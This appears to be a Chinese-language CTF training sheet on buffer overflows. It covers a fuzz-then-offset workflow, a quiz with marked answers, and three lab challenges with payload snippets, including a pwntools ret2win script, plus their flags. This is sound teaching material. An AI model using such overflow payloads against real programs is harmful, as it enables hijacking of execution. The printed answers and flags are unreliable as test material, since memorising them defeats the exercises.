Day 5 — 二進位安全 (Binary Exploitation)
Day 5 — 二進位安全 (Binary Exploitation)
重點整理
| 主題 | 核心概念 | 重要工具/技術 | 備註 |
|---|---|---|---|
| Buffer Overflow | 堆疊 (Stack)、輸入長度限制、程式崩潰 (Crash) | Python3, GDB | 起手式:輸入超長字串觀察 Segfault |
| 記憶體覆寫 | 相鄰變數覆寫、Return Address 控制 | python3 -c 'print("A"*200)' | 找出 crash 邊界後計算 offset |
| 執行流控制 | EIP/RIP 暫存器、Ret2Win | GDB, pwntools | 目標:跳轉到隱藏函數 |
起手式流程
1. 執行程式,找輸入點
2. python3 -c 'print("A" * 200)' | ./target → 觀察是否 Segfault
3. 二分法縮小 crash 邊界,找精確 offset
4. GDB: run 後看 EIP/RIP 是否被 AAAA 覆蓋
5. 構造 payload = padding + target_address
學習建議
- 目標:看到 overflow 題型,知道第一步是測試輸入長度
- 練習平台:picoCTF Binary 題區、pwn.college
- 產出:寫下「看到 overflow 題型的第一動作筆記」
模擬比賽題目
一、選擇題(單選)
1. 緩衝區溢位漏洞通常由什麼原因造成?
- A) 使用過期版本的編譯器
- B) 程式未正確檢查輸入長度,導致覆蓋相鄰記憶體 ✅
- C) 伺服器網路頻寬不足
- D) 密碼過於簡單
2. CLI 環境中,快速生成 200 個 "A" 測試 crash 的最佳指令?
- A)
echo "A" * 200 - B) 手動輸入 200 次
- C)
python3 -c 'print("A" * 200)'✅ - D)
strings 200A
3. 哪種回應代表成功觸發緩衝區溢位?
- A)
Permission denied - B)
Connection refused - C)
Segmentation fault (core dumped)✅ - D)
Invalid password
4. GDB 分析崩潰時,最關注哪個暫存器來確認控制執行流?
- A) EAX / RAX
- B) EIP / RIP ✅
- C) ECX / RCX
- D) EDX / RDX
5. 拿到 Binary Pwn 執行檔的第一動作?
- A) 立刻打開反編譯工具逐行看組合語言
- B) 找輸入點,輸入超長字串觀察是否 Crash ✅
- C) 用 Wireshark 攔截封包
- D) 猜密碼為 admin
二、CTF 實作題
Challenge 1:崩潰的邊界 (The Crash)
login.bin正常輸入顯示 "Login failed"。 用 Python 生成大量字元找出 Segfault 邊界,觸發隱藏錯誤處理印出 Flag。
python3 -c 'print("A" * 200)' | ./login.bin
Flag 格式:FLAG{smash_the_stack_101}
Challenge 2:變數的覆寫 (Variable Overwrite)
緩衝區旁有
is_admin = 0。 構造剛好溢出緩衝區的 payload,將is_admin覆寫為非零值。
payload = b"A" * 32 + b"\x01" # 32 = buffer size
print(payload)
Flag 格式:FLAG{overwrite_adjacent_memory}
Challenge 3:控制執行流 (Ret2Win)
target.exe有隱藏函數print_flag()位於0x401186。 計算 offset 後覆寫 Return Address 跳轉至該函數。
from pwn import *
p = process('./target.exe')
payload = b"A" * 40 + p64(0x401186)
p.sendline(payload)
p.interactive()
Flag 格式:FLAG{control_the_flow_win_the_game}